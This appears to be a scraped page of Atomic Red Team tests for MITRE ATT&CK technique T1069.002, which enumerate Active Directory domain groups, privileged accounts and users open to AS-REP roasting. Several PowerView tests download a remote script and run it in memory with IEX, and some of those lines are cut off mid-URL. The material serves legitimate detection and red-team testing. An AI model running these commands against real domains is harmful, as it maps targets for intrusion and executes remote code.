



489 lines (229 loc) · 12.6 KB

# T1069.002 - Domain Groups

## Description from ATT&CK

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as `net group /domain` of the [Net](#) utility, `dscacheutil -q group` on macOS, and `ldapsearch` on Linux can list domain-level groups.

## Atomic Tests

- [Atomic Test #1 - Basic Permission Groups Discovery Windows \(Domain\)](#)
- [Atomic Test #2 - Permission Groups Discovery PowerShell \(Domain\)](#)
- [Atomic Test #3 - Elevated group enumeration using net group \(Domain\)](#)
- [Atomic Test #4 - Find machines where user has local admin access \(PowerView\)](#)

- [Atomic Test #5 - Find local admins on all machines in domain \(PowerView\)](#)
- [Atomic Test #6 - Find Local Admins via Group Policy \(PowerView\)](#)
- [Atomic Test #7 - Enumerate Users Not Requiring Pre Auth \(ASRepRoast\)](#)
- [Atomic Test #8 - Adfind - Query Active Directory Groups](#)
- [Atomic Test #9 - Enumerate Active Directory Groups with Get-AdGroup](#)
- [Atomic Test #10 - Enumerate Active Directory Groups with ADSISearcher](#)
- [Atomic Test #11 - Get-ADUser Enumeration using UserAccountControl flags \(AS-REP Roasting\)](#)
- [Atomic Test #12 - Get-DomainGroupMember with PowerView](#)
- [Atomic Test #13 - Get-DomainGroup with PowerView](#)

## Atomic Test #1 - Basic Permission Groups Discovery Windows (Domain)

Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** dd66d77d-8998-48c0-8024-df263dc2ce5d

**Attack Commands:** Run with `command_prompt` !

```
net localgroup
net group /domain
net group "domain admins" /domain
net group "enterprise admins" /domain
```



# Atomic Test #2 - Permission Groups Discovery PowerShell (Domain)

Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto\_generated\_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7

Inputs:

Name	Description	Type	Default Value
user	User to identify what groups a user is a member of	String	administrator

Attack Commands: Run with powershell !

```
get-ADPrincipalGroupMembership #{user} | select name
```

# Atomic Test #3 - Elevated group enumeration using net group (Domain)

Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto\_generated\_guid: 0afb5163-8181-432e-9405-4322710c0c37

Attack Commands: Run with command\_prompt !

```
net group /domai "Domain Admins"  
net groups "Account Operators" /doma
```

```
net groups "Exchange Organization Management" /doma
net group "BUILTIN\Backup Operators" /doma
```

## Atomic Test #4 - Find machines where user has local admin access (PowerView)

Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** a2d71eee-a353-4232-9f86-54f4288dd8c1

**Attack Commands:** Run with **powershell** !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a'
```



## Atomic Test #5 - Find local admins on all machines in domain (PowerView)

Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd

**Attack Commands:** Run with **powershell** !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
```



```
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a:
```

## Atomic Test #6 - Find Local Admins via Group Policy (PowerView)

takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.

Supported Platforms: Windows

auto\_generated\_guid: 64fdb43b-5259-467a-b000-1b02c00e510a

Inputs:

Name	Description	Type	Default Value
computer_name	hostname of the computer to analyze	Path	\$env:COMPUTERNAME

Attack Commands: Run with powershell !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a:
```

## Atomic Test #7 - Enumerate Users Not Requiring Pre Auth (ASRepRoast)

When successful, accounts that do not require kerberos pre-auth will be returned

Supported Platforms: Windows

auto\_generated\_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b

Attack Commands: Run with powershell !

```
get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $True}
```

Dependencies: Run with **powershell**!

Description: Computer must be domain joined.

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually.
```

Description: Requires the Active Directory module for powershell to be installed.

Check Prereq Commands:

```
if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
```

## Atomic Test #8 - Adfind - Query Active Directory Groups

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups reference-

<http://www.joeware.net/freetools/tools/adfind/>, <https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html>

Supported Platforms: Windows

auto\_generated\_guid: 48ddc687-82af-40b7-8472-ff1e742e8274

Inputs:

Name	Description	Type	Default Value
adfind_path	Path to the AdFind executable	Path	PathToAtomicsFolder\T1087.002\src\AdFind.exe

Attack Commands: Run with `command_prompt` !

```
#{adfind_path} -f (objectcategory=group)
```

Dependencies: Run with `powershell` !

Description: AdFind.exe must exist on disk at specified location (#{adfind\_path})

Check Prereq Commands:

```
if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/;
```

# Atomic Test #9 - Enumerate Active Directory Groups with Get-AdGroup

The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: <https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps>

Supported Platforms: Windows

auto\_generated\_guid: 3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8

Attack Commands: Run with powershell !

```
Get-AdGroup -Filter *
```



## Atomic Test #10 - Enumerate Active Directory Groups with ADSISearcher

The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference:

<https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/>

Supported Platforms: Windows

auto\_generated\_guid: 9f4e344b-8434-41b3-85b1-d38f29d148d0

Attack Commands: Run with powershell !

```
([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindAll()
```



## Atomic Test #11 - Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)

When successful, accounts that do not require kerberos pre-auth will be returned. Reference:

<https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html>

Supported Platforms: Windows



auto\_generated\_guid: 43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8

Attack Commands: Run with **powershell** !

```
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol
```

Dependencies: Run with **powershell** !

Description: Computer must be domain joined.

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually.
```

Description: Requires the Active Directory module for powershell to be installed.

Check Prereq Commands:

```
if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
```

## Atomic Test #12 - Get-DomainGroupMember with PowerView

Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 46352f40-f283-4fe5-b56d-d9a71750e145

**Attack Commands:** Run with **powershell** !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12  
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Rec
```



## Atomic Test #13 - Get-DomainGroup with PowerView

Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 5a8a181c-2c8e-478d-a943-549305a01230

**Attack Commands:** Run with **powershell** !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12  
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Rec
```

